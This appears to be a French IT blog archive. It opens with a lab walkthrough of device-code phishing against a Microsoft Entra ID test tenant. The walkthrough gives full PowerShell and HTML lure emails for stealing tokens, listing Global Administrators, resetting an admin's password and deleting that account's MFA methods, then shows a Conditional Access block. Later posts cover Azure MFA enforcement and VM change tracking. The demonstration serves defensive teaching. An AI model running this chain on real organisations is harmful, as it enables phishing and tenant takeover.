    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">LS9475723</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "teacher1@tdcheduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Bien évidemment, une campagne d’hameçonnage repose toujours sur une volume important d’emails, comparé aux faibles chances de clics des utilisateurs.

Etape II – Récupération du premier token :

Admettons un instant qu’un utilisateur 365 lambda se fasse berner et clique sur le lien en pensant que ce dernier est légitime. Ce dernier est invité à recopier le code indiqué dans l’email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte 365 :

Pensant toujours l’action légitime, l’utilisateur clique sur Continuer :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce même Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de l’application Microsoft Office :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure justement le droit d’envoyer des emails :

Nous sommes maintenant à l’intérieur d’un environnement Entra ID avec déjà quelques autorisations. Afin de réussir l’objectif de réinitialiser le mot de passe d’un compte Administrateur Global, nous allons avoir besoin de plus de droits que ceux déjà obtenus.

Etape III – Préparation du second hameçonnage :

La plus rapide est de cibler tous les comptes Entra ID ayant le rôle d’Administrateur Global. Bien souvent, d’autres personnes non IT (gérants, actionnaires, …) ont également ce rôle critique malgré les risques que cela comporte.

Depuis l’accès obtenu via mon utilisateur lambda, la commande PowerShell suivante me permet de récupérer des informations sur les comptes Administrateur Global du tenant :

$memberList = [System.Collections.Generic.List[string]]::new()
$roleId = (Get-MgDirectoryRole -Filter "DisplayName eq 'Global Administrator'").Id
$userList = Get-MgDirectoryRoleMember -DirectoryRoleId $roleId

foreach ($user in $userList) {
    $upn = (Get-MgUser -UserId $user.id).UserPrincipalName
    $GivenName = (Get-MgUser -UserId $user.id).GivenName
    $memberList.Add($upn)
    $memberList.Add($GivenName)
}

$memberList

Une fois ma nouvelle liste de cibles établie, je peux créer une seconde campagne d’hameçonnage interne.

Avant besoin de plus de droits que ceux octroyés par l’application Microsoft Office, je décide de créer une nouvelle application sur un autre tenant dont je suis le propriétaire :

Je nomme mon application selon le contexte voulu et j’active la fonction multi-tenant :

Depuis l’onglet Authentification, je clique sur le menu suivant :

Je clique sur le type de plate-forme suivant :

Je coche et rajoute les URIs suivantes :

J’active également la fonction suivante, puis je clique sur Sauvegarder :

Depuis le menu Permissions API, je rajoute une permission API par le bouton suivant :

Je choisi alors Microsoft Graph :

Je sélectionne Permissions déléguées :

Je recherche la permissions suivante, puis je clique sur Ajouter :

UserAuthenticationMethod.ReadWrite.All

Ici, aucun besoin de consentement d’administration :

Sur la page principale de mon application, je récupère son Application ID :

Comme pour la première campagne, j’exécute les commandes suivantes pour de générer un Device Code Flow destiné à ma nouvelle application :

$ClientID = "1bc7e8a5-6442-4f35-8497-2cebe8c71f0c"
$Scope = "UserAuthenticationMethod.ReadWrite.All"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

Là encore, le code généré n’est valable que 15 minutes :

Je repasse par ChatGPT pour rédiger rapidement un second email d’hameçonnage interne destiné à mes utilisateurs Administrateur Global :

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma seconde campagne d’hameçonnage interne :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "teacher1@tdcheduc.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "Activation de l'essai de Copilot for Security toujours en attente"
# E-mail : corps
#$EmailBody = "<h1>Démo Microsoft Graph</h1>"
# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Découvrez Copilot for Security</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🚀 Découvrez Copilot for Security 🚀</h1>
    <p>Bonjour,</p>
    <p>Nous sommes ravis de vous présenter <strong>Copilot for Security</strong> - votre nouvel allié de confiance pour une sécurité renforcée !</p>
    <p>Copilot for Security est une solution révolutionnaire conçue pour simplifier et améliorer la sécurité de votre organisation. Imaginez une intelligence artificielle capable d'analyser vos systèmes en temps réel, de détecter les menaces potentielles avant qu'elles ne deviennent des problèmes, et de vous fournir des recommandations personnalisées pour renforcer votre posture de sécurité. C'est exactement ce que vous offre Copilot for Security !</p>
    <p>Mais ce n'est pas tout ! Nous avons une nouvelle excitante à partager : <strong>une préversion privée de Copilot for Security est désormais accessible sur demande</strong> !</p>
    <p>Ne manquez pas cette opportunité exclusive de tester notre solution avant tout le monde et de contribuer à façonner l'avenir de la sécurité informatique.</p>
    <p>Pour vous inscrire à la préversion privée, rendez-vous sur <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none;">notre page d'inscription</a> et utilisez le code suivant :</p>
    <p style="font-size: 1.2em; font-weight: bold; color: #d32f2f;">CUA75XNUX</p>
    <p>Nous avons hâte de vous accueillir parmi nos premiers utilisateurs et de vous voir profiter des nombreux avantages de Copilot for Security.</p>
    <p>Avec enthousiasme,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "ADMTeacher@TDCHEduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes Administrateurs cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Il ne reste plus qu’à croiser les doigts qu’un des administrateurs Global se laisse tenter par cette formidable nouvelle.

Etape IV – Récupération du second token :

Admettons là encore qu’un Administrateur Global non IT clique sur le lien et recopie le code indiqué dans le second email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte admin 365 :

Pensant lui aussi l’action légitime, l’utilisateur clique simplement sur Accepter :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce second Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de notre application :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure la gestion des méthodes d’authentification :

Etape V – Reset et test de connexion :

Il nous reste alors qu’à lancer la commande suivant afin de réinitialiser le mot de passe d’un autre administrateur global présent sur le tenant :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$method = Get-MgUserAuthenticationPasswordMethod -UserId $userid
  
Reset-MgUserAuthenticationMethodPassword -UserId $userid -AuthenticationMethodId $method.id -NewPassword "zQ7!Ra3MM6ha" 

Il nous est même possible d’effacer les différentes méthodes MFA déjà enregistrées sur ce même compte :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$AuthMethods = Get-MgUserAuthenticationMethod -UserId $userid
ForEach ($AuthMethod in $AuthMethods){
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.emailAuthenticationMethod"){
        Remove-MgUserAuthenticationEmailMethod -EmailAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.microsoftAuthenticatorAuthenticationMethod"){
        Remove-MgUserAuthenticationMicrosoftAuthenticatorMethod -MicrosoftAuthenticatorAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.fido2AuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.windowsHelloForBusinessAuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.softwareOathAuthenticationMethod"){
        Remove-MgUserAuthenticationSoftwareOathMethod -SoftwareOathAuthenticationMethodId $AuthMethod.id
    }
}

Par le biais d’un navigateur privé, il nous suffit de tester le nouveau mot de passe configuré sur l’administrateur global ciblé :

Comme attendu, Microsoft nous demande également de reconfigurer une ou plusieurs méthodes MFA sur ce compte :

Le compte et donc le tenant est donc maintenant sous notre contrôle. D’autres actions plus critiques pourraient alors suivre.

Mais, comme dit plus haut, Entra ID vous propose maintenant de bloquer les Device code flow via les Polices d’accès conditionnel.

Etape VI – Polices d’accès conditionnel :

Dans son journal des connexions Entra ID, Microsoft indique clairement l’usage d’un Device Code Flow :

Depuis le portail d’Entra ID, il est maintenant possible de définir une police ayant pour but de spécifiquement cibler et bloquer les connexions faites via Device Code Flow :

Une fois cette police en place, l’utilisateur lambda peut cliquer sur le lien :

Renseigner un code actif :

Choisir son identifiant 365 :

Et se retrouver bloqué et donc protégé de cette tentative d’usurpation :

Conclusion

En conclusion, le Device Code Flow offre une solution pratique pour l’authentification des appareils avec des capacités limitées tout en maintenant une expérience utilisateur fluide. Cependant, il est crucial de mettre en œuvre des mesures de sécurité robustes pour atténuer les risques potentiels associés à ce flux.

MFA pour tous les utilisateurs d’Azure à partir de juillet 2024

Microsoft vient d’annoncer, via un article posté sur le Techcommunity, une modification majeure à venir concernant l’authentification sur Azure : MFA pour tous ! Quand cela va arriver ? Qu’est-ce que cela implique ? Ces questions et bien d’autres encore sont légitimes. Tentons d’y voir plus clair ensemble.

Dans cet article sous forme de FAQ, je vous propose de commencer quelques notions important :

Et d’aborder ensuite les futurs changements prévus en juillet 2024 par Microsoft :

Qu’est-ce que la MFA ?

L’utilisation d’un mot de passe uniquement ne protège pas complètement des attaques. Si le mot de passe est faible ou s’il a été exposé ailleurs, un attaquant peut l’utiliser pour y accéder. Quand vous exigez une deuxième forme d’authentification, la sécurité est renforcée parce que ce facteur supplémentaire n’est pas un élément qu’un attaquant peut facilement obtenir ou dupliquer.

Microsoft Doc

La MFA propose donc d’aller plus loin que le couple classique identifiant / mot de passe. L’authentification multifacteur d’Entra ID impose de mettre en place les 3 méthodes d’authentification suivantes :

  • Un élément que vous connaissez (ex. mot de passe)
  • Un élément que vous possédez (ex. un appareil de confiance, comme un smartphone)
  • Un élément qui vous définit (ex. identifiant biométrique, tel qu’une empreinte digitale)

Voici l’écran de configuration utilisateur d’une méthode MFA possible :

L’URL suivante (https://aka.ms/mfasetup) permet de gérer et configurer ses méthodes MFA :

Quelle licence est nécessaire pour la disposer d’une MFA ?

Les choses ont quelque peu évolué ces dernières années chez Microsoft. Les licences Entra ID présentes et assignées aux utilisateurs concernés sont le point de départ aux méthodes de MFA disponibles.

Cette information au niveau tenant est disponible sur la page principale d’Entra ID :

Voici un tableau de comparaison des features MFA en fonction des licences Microsoft :

FonctionEntra ID Gratuit : paramètres de sécurité par défaut activésEntra ID
Gratuit
Office 365Entra ID P1Entra ID P2
Protection des comptes avec authentification multifacteur● (comptes d’administrateur général uniquement)
Application mobile comme second facteur
Appel téléphonique comme second facteur
Le SMS comme deuxième facteur
Contrôle d’administration sur les méthodes de vérification
Alerte de fraude
Rapports MFA
Messages de bienvenue personnalisés pour les appels téléphoniques
ID d’appelant personnalisé pour les appels téléphoniques
Adresses IP approuvées
Mémoriser MFA pour les appareils fiables
MFA pour les applications locales
Accès conditionnel
Accès conditionnel en fonction du risque

Autrement dit, un tenant même gratuit (ou non) et ayant la sécurité par défaut activée dispose d’une MFA accessible à tous ses utilisateurs :

Tous les utilisateurs d’un locataire Microsoft Entra ID Gratuit peuvent utiliser l’authentification multifacteur Microsoft Entra à l’aide des paramètres de sécurité par défaut. L’application d’authentification mobile peut être utilisée pour l’authentification multifacteur Microsoft Entra lors de l’utilisation des paramètres de sécurité par défaut Microsoft Entra ID Gratuit.

Microsoft Learn

Les paramètres de sécurité par défaut peuvent être activés dans le niveau Microsoft Entra ID Free. Avec les paramètres de sécurité par défaut, tous les utilisateurs sont activés pour l’authentification multifacteur à l’aide de l’application Microsoft Authenticator. Il n’est pas possible d’utiliser la vérification par SMS ou appel téléphonique avec les paramètres de sécurité par défaut, mais uniquement l’application Microsoft Authenticator.

Microsoft Learn

Mais pourquoi alors payer pour un service MFA disponible gratuitement ?

L’activation de la sécurité par défaut sur un tenant est gratuite, mais reste non personnalisable. Microsoft recommande d’ailleurs une utilisation agile de la MFA grâce à l’utilisation de polices d’accès conditionnel, disponibles dans les licences Microsoft Entra ID P1 ou P2.

Un précédent article dédié aux accès conditionnels est disponible juste ici :

Existe-t-il des différentes configurations MFA possibles sur un tenant ?

Pour rappel, il est actuellement possible de configurer le challenge MFA via 3 méthodes distinctes :

  • Paramètres de sécurité par défaut
  • Accès conditionnel
  • Authentification multifacteur par utilisateur (per-user MFA)

Important : N’activez pas ou n’appliquez pas l’authentification MFA par utilisateur si vous utilisez également des polices d’accès conditionnel.

StratégieParamètres de sécurité par défautAccès conditionnelAuthentification multifacteur par utilisateur
Gestion
Ensemble standard de règles de sécurité pour garantir la sécurité de votre entreprise
Activé/désactivé en un clic
Inclus dans la gestion des licences Office 365 (voir les considérations relatives aux licences)
Modèles préconfigurés dans l’assistant Centre d’administration Microsoft 365
Flexibilité de la configuration
Fonctionnalité
Exempter les utilisateurs de la stratégie
Authentification par appel téléphonique ou SMS
S’authentifier par Microsoft Authenticator et jetons logiciels
Authentification par FIDO2, Windows Hello Entreprise et les jetons matériels
Bloque les protocoles d’authentification hérités
Les nouveaux employés sont automatiquement protégés
Déclencheurs MFA dynamiques en fonction des événements à risque
Stratégies d’authentification et d’autorisation
Configurable en fonction de l’emplacement et de l’état de l’appareil
Prise en charge du mode « Rapport seul »
Possibilité de bloquer complètement les utilisateurs/services

Attention la méthode appelée Authentification multifacteur par utilisateur ou Per-user MFA est vouée à disparaitre :

En mars 2023, nous avons annoncé la dépréciation de la gestion des méthodes d’authentification dans les stratégies héritées de l’authentification multifacteur et de la réinitialisation de mot de passe en libre-service (SSPR). À compter du 30 septembre 2025, les méthodes d’authentification ne pourront pas être managées dans ces stratégies MFA et SSPR héritées.

Microsoft Learn

L’écran suivant est accessible via cette URL :

Peut-on migrer d’une configuration MFA à une autre ?

A cause de ce décommissionnement prévu pour 2025, Microsoft a déjà mis à disposition une documentation expliquant différentes étapes pour assurer une transition réussie :

Le SSPR (Réinitialisation du mot de passe en libre-service) et l’ancienne méthode MFA seront donc gérés par les Méthodes d’authentification unifiées :

Qu’est-ce qui se passe en juillet 2024 ?

La nouvelle est passée un peu inaperçue, mais juillet 2024 marque un pas important pour la sécurité Azure :

En juillet (2024), les équipes Azure commenceront à déployer des mesures de sécurité supplémentaires au niveau des locataires pour exiger l’authentification multifactorielle (MFA).

Microsoft Techcommunity

Autrement dit, le déploiement de cette règle MFA sera progressif et concernera à terme l’ensemble des tenants hébergés sur le Cloud public de Microsoft.

Quels sont les services impactés par ce changement ?

Azure et seulement Azure. Ce point est très important d’autres services 365, ou même l’utilisation de services pourtant hébergés Azure ne seront pas impactés par ce changement. Enfin, gardez à l’esprit qu’Azure est accessible via différentes méthodes, et seront donc toutes concernés :

  • Portail Azure
  • CLI
  • PowerShell
  • Terraform

À partir de juillet 2024, un déploiement progressif de cette application pour le portail uniquement commencera. Une fois le déploiement terminé pour le portail, un déploiement progressif similaire commencera pour CLI, PowerShell et Terraform.

Microsoft Techcommunity

Il s’agit donc d’assurer un contrôle MFA systématique afin de protéger les actions en relation avec la gestion des ressources Azure.

Quelles seront les méthodes de MFA possibles pour Azure ?

Les méthodes MFA classiques suivantes pourront être utilisées pour l’authentification Azure :

  • Microsoft Authenticator
  • Authenticator Lite (dans Outlook)
  • Windows Hello Entreprise
  • Clé de sécurité FIDO2
  • Token matériel OATH (préversion)
  • Token logiciel OATH
  • SMS
  • Appel vocal

Quelles sont les identités concernées / non concernées ?

Merci à John Savill pour ce schéma expliquant l’impact entre tous les types d’identités possibles sur Entra ID :

Sont donc concernées :

  • Toutes les identités humaines accédant à Azure dans le cadre de l’administration de ressources (membres et invités)

Sont donc non concernées :

  • Principaux de services
  • Identités managées (user ou système)
  • Comptes basés sur des tokens et utilisés pour l’automatisation

Un travail chez les utilisateurs est donc nécessaire. Mais un contrôle est aussi à prévoir sur les process automatisés utilisant des identités utilisateurs au lieu de des principaux de service ou d’identités managées.

Comment se rendre compte de l’impact avant le jour J ?

Après investigations, Il existe un template de police d’accès conditionnel qui semblerait très proche du résultat attendu par l’évolution de Microsoft prévue pour juillet 2024 :

Cette police semble bien cibler la gestion des ressources Azure :

La mise en place de cette police en mode Report seulement serait alors un premier pas vers la compréhension de ce qui va se passer sur votre environnement :

Conclusion

Dans tous les cas, gardez en tête les points suivants, et je ne peux que vous conseiller de prendre les devants dès que possible :

  • Microsoft recueille encore les feedbacks pour certains scénarios tels que les comptes « break-glass ».
  • Commencez à examiner les identifiants Entra utilisés pour les opérations de management, développement et les accès API à Azure Resource Manager.
  • Si nécessaire, remplacer les identités des utilisateurs par des principaux de service ou des identités managées.

Bon courage à tous 💪🙏😎

VM – Traquez les changements

Azure est une excellente plateforme pour déployer rapidement et facilement des ressources IT. Seulement, la phase de déploiement de ressources ne représente que la première partie du travail d’une infrastructure. Bien souvent, plusieurs agents ou équipes interviendront sur ces mêmes ressources Azure. Un système de suivi des changements apparait alors comme très utile pour traquer efficacement les modifications faites par les uns et par les autres.

Qu’est-ce que le Suivi des modifications et inventaire (Change Tracking et Inventory) ?

En quelques mots, le Suivi des modifications et inventaire va vous permettre de comprendre les modifications faites sur vos ressources Azure, mais aussi à l’intérieur de celles-ci.

Voici un exemple de 2 vues disponibles retraçant différents types de modifications :

Le Suivi des modifications et inventaire effectue le suivi des modifications apportées aux machines virtuelles hébergées sur Azure, locales et d’autres environnements cloud pour vous aider à identifier les problèmes opérationnels et environnementaux liés aux logiciels gérés par le gestionnaire de package de distribution. 

Microsoft Learn

On y retrouve donc des modifications de registres, de fichiers, de programmes et bien d’autres encore.

Que pouvons-nous traquer dans le Suivi des modifications et inventaire ?

A ce jour, plusieurs éléments sont traçables au travers du Suivi des modifications et inventaire. Voici la liste des modifications traçables :

  • Logiciels Windows
  • Logiciel Linux (packages)
  • Fichiers Windows et Linux
  • Clés de Registre Windows
  • Services Windows
  • Démons Linux

Doit-on payer pour utiliser Suivi des modifications et inventaire ?

Oui. En effet, le Suivi des modifications et inventaire est un service payant. Il repose sur stockage appelé Log Analytics Workspace pour stocker les données liées aux modifications. Comme à chaque fois, le Log Analytics Workspace est facturé au Go de données écrites.

Niveau agent : AMA ou MMA, lequel choisir ?

Microsoft avait annoncé la préversion de Suivi des modifications et inventaire via l’agent AMA en janvier 2023. L’agent AMA prend le pas sur l’agent LOA pour des raisons de sécurité, de fiabilité, et facilite également les multi-environnements. De plus, il n’est plus nécessaire d’intégrer un compte Azure Automation.

D’ailleurs Microsoft a également annoncé une date de retrait pour MMA/LOA :

Actuellement, le suivi des modifications et l’inventaire utilisent Log Analytics Agent et son retrait est prévu d’ici le 31 août 2024. Nous vous recommandons d’utiliser Azure Monitoring Agent comme nouvel agent de prise en charge.

Microsoft Learn

Agent, Extension, Kesako ?

Il existe des différences entre un agent et une extension. Microsoft apporte sur cette page quelques infos bien utiles :

  • Agent : Il s’agit d’une application légère, toujours en cours d’exécution (le plus souvent exécutée en tant que service/daemon), qui collecte des informations auprès de la machine et les transmet quelque part ou maintient l’état de la machine elle-même en fonction d’une certaine configuration.
  • Extension : Dans Azure, les extensions fournissent des tâches de configuration et d’automatisation post-déploiement sur les VM Azure. Les extensions peuvent faire partie de la définition de la VM elle-même, et donc être utilisées pour déployer quelque chose dans le cadre du déploiement de la ressource hôte elle-même. Dans le cas d’Azure Monitor, il existe des extensions qui déploient l’agent de surveillance dans le cadre du déploiement de la VM/VMSS.
  • AzureMonitoringWindowsAgent : Il s’agit de l’extension la plus récente et la plus recommandée d’Azure Monitor Agent (AMA) pour une VM. Elle est disponible pour les VM Windows avec le nom AzureMonitoringWindowsAgent. De même, AzureMonitorLinuxAgent est le nom de l’extension pour l’AMA sur la VM Linux.
  • MMAExtension : C’est le nom de l’extension qui installe l’ancien agent sur la VM Windows. L’agent lui-même est appelé Log Analytics Agent ou LA Agent, également appelé « Microsoft Monitoring Agent » ou MMA. Pour les machines virtuelles Linux, cette extension installe un paquetage d’agent appelé OMSAgentforLinux.

Enfin, cette page détaille les différences techniques des agents en relation avec Azure Monitor.

Afin de bien comprendre ce que le Suivi des modifications et inventaire d’Azure est capable de faire avec un agent AMA, je vous propose de suivre ce petit exercice :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice sur le Suivi des modifications et inventaire d’Azure, il vous faudra disposer de :

  • Un tenant Microsoft
  • Une souscription Azure valide

Afin de pouvoir tester cette fonctionnalité Azure, il est nécessaire de créer une machine virtuelle.

Etape I – Préparation de l’environnement :

Pour cela, rechercher le service des Machines virtuelles sur votre portail Azure :

Cliquez-ici pour commencer la création de la machine virtuelle :

Renseignez les informations de base relatives à votre VM :

Choisissez la taille de votre VM, définissez un compte administrateur local, bloquez les ports entrants, puis cliquez sur Suivant :

Aucune modification n’est à faire sur cet onglet, cliquez sur Suivant :

Retirez l’adresse IP publique de votre VM, puis cliquez sur Suivant :

Décochez l’extinction automatique de la machine virtuelle, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la VM, puis attendez environ 2 minutes :

Une fois le déploiement terminé, cliquez-ici pour consulter votre machine virtuelle :

Cliquez-ici pour déclencher le déploiement du service Azure Bastion :

Les notifications suivantes devraient apparaitre :

Sans attendre la fin du déploiement d’Azure Bastion, recherchez le service Log Analytics Workspace :

Cliquez-ici pour déployer votre Log Analytics Workspace :

Renseignez tous les champs dont son nom devant être unique sur Azure :

Attendez maintenant que le Log Analytics Workspace et Azure Bastion soient entièrement déployés pour continuer cet exercice.

Une fois que le service Azure Bastion est déployé, connectez-vous à votre machine virtuelle en utilisant le compte d’administrateur local :

Notre environnement de base est maintenant en place. Nous allons pouvoir continuer en activant le service Suivi des modifications et inventaire.

Etape II – Activation du Suivi des modifications et inventaire :

Pour cela, retournez sur votre machine virtuelle afin d’activer le Suivi des modifications et inventaire en utilisant un agent AMA :

La mise en place de ce service déploie 2 extensions sur votre machine virtuelle et vous invite à patienter :

Quelques minutes plus tard, consultez les extensions installées sur votre machine virtuelle :

Afin que toutes les modifications soient bien prises en compte dans le Suivi des modifications et inventaire, je vous conseille d’attendre 30 minutes avant de continuer la suite de cet exercice.

Etape III – Sauvegarde des évènements Azure :

La sauvegarde d’évènements Azure est utile afin de bien comprendre par exemple les modifications faites directement sur les ressources Azure.

Pour cela, cliquez sur le menu suivant dans votre machine virtuelle :

Puis cliquez-ici :

Enfin cliquez-ici pour connecter votre journal d’activité Azure :

Quelques secondes plus tard, constatez le bon changement du statut de la connexion :

Effectuez ensuite un changement de taille de votre machine virtuelle :

Attendez que le redimensionnement soit terminé :

Quelques minutes plus tard, constatez l’apparition d’une ligne d’évènement dans le Suivi des modifications et inventaire :

Continuons les tests du Suivi des modifications et inventaire en activant la sauvegarde du suivi des fichiers Windows.

Etape IV – Sauvegarde du suivi de fichiers Windows :

Cliquez sur Ajouter dans le menu suivant du Suivi des modifications et inventaire :

Ajoutez la règle de fichiers Windows, puis cliquez sur Ajouter :

Sur votre machine virtuelle de test, créez le fichier correspondant à votre règle de suivi :

Quelques minutes plus tard, constatez l’apparition d’un changement dans le Suivi des modifications et inventaire :

Continuons les tests du Suivi des modifications et inventaire en activant la sauvegarde du suivi du registre Windows.

Etape V – Sauvegarde du suivi du registre Windows :

Cliquez sur Ajouter dans le menu suivant du Suivi des modifications et inventaire :

Ajoutez la règle de registre Windows, puis cliquez sur Ajouter :

Sur votre machine virtuelle de test, créez la clef de registre correspondante à votre règle :

Quelques minutes plus tard, constatez l’apparition d’une ligne de changement dans le Suivi des modifications et inventaire :

Continuons les tests du Suivi des modifications et inventaire en ajoutant le suivi des services Windows.

Etape VI – Sauvegarde du suivi de services Windows :

Modifiez si besoin la fréquence des remontées d’informations sur les services Windows :

Sur votre machine virtuelle de test, lancez le script PowerShell d’installation suivant :

Install-WindowsFeature -name Web-Server -IncludeManagementTools

Attendez la fin de l’installation du rôle IIS :

Quelques minutes plus tard, constatez l’apparition d’un changement dans le Suivi des modifications et inventaire :

Continuons les tests du Suivi des modifications et inventaire en modifiant la sauvegarde du suivi des modifications du contenu de fichiers.

Etape VII – Sauvegarde du suivi des modifications du contenu de fichiers :

Avant d’activer la fonction du suivi des modifications de fichiers, recherchez le service des comptes de stockage Azure :

Créez un compte de stockage dédié à la fonction du suivi de modification des fichiers :

Nommez votre compte de stockage, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création du compte de stockage, puis attendez environ 1 minute :

Une fois le compte de stockage créé, retournez dans la configuration du Suivi des modifications et inventaire afin d’y ajouter ce dernier :

Choisissez votre compte de stockage, puis cliquez sur Sauvegarder :

Retournez sur votre compte de stockage, puis ouvrez le conteneur suivant créé automatiquement par le Suivi des modifications et inventaire :

Cliquez-ici pour ajouter des droits RBAC sur ce conteneur blob :

Choisissez le rôle ci-dessous, puis cliquez sur Suivant :

Ajoutez l’identité managée de votre machine virtuelle, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de l’assignation RBAC :

Modifiez le contenu d’un fichier de texte présent sur votre machine virtuelle de test, puis retournez sur votre compte de stockage afin de constater le téléversement du fichier modifié quelques minutes plus tard :

Terminons les tests du Suivi des modifications et inventaire en installant un logiciel sur la machine virtuelle.

Etape VIII – Inventaire des logiciels :

Téléchargez par exemple Google Chrome depuis une source officielle :

Lancez son installation :

Quelques minutes plus tard, Google Chrome apparait bien dans le Suivi des modifications et inventaire en tant qu’application installée :

Conclusion

Bien que le Suivi des modifications et inventaire soit très intéressant dans certains scénarios, je ne sais pas ce que l’avenir va donner sur cet outil Microsoft.

Un autre outil très intéressant et accessible sans aucun déploiement est le Change Analysis. Cet outil ne fait pas la même chose que le Suivi des modifications et inventaire.

Comme la copie d’écran ci-dessous le montre, Change Analysis est un moyen simple et rapide de voir les changement de propriétés effectués sur une ressources Azure :

Pour rester sur le sujet, John Savill a également fait une vidéo très intéressante sur la gestion des modifications Azure et les alertes possibles :

Enfin, un autre outil présent nativement dans Azure pourra vous aider dans votre investigation Azure, il appelé Resource Explorer :

Connectez votre réseau local à Global Secure Access

Restons encore un peu dans la lignée des articles dédiés au Global Secure Access de Microsoft. Abordons cette fois-ci une fonction appelée Remote Network : la connexion d’un réseau local (distant) tout entier à un point Edge du réseau Microsoft. Cette approche est complémentaire aux Clients Global Secure Access installés sur les postes en situation de mobilité.

Si le sujet Global Secure Access vous passionne tout comme moi, je vous invite à lire mes précédents articles sur le sujet :

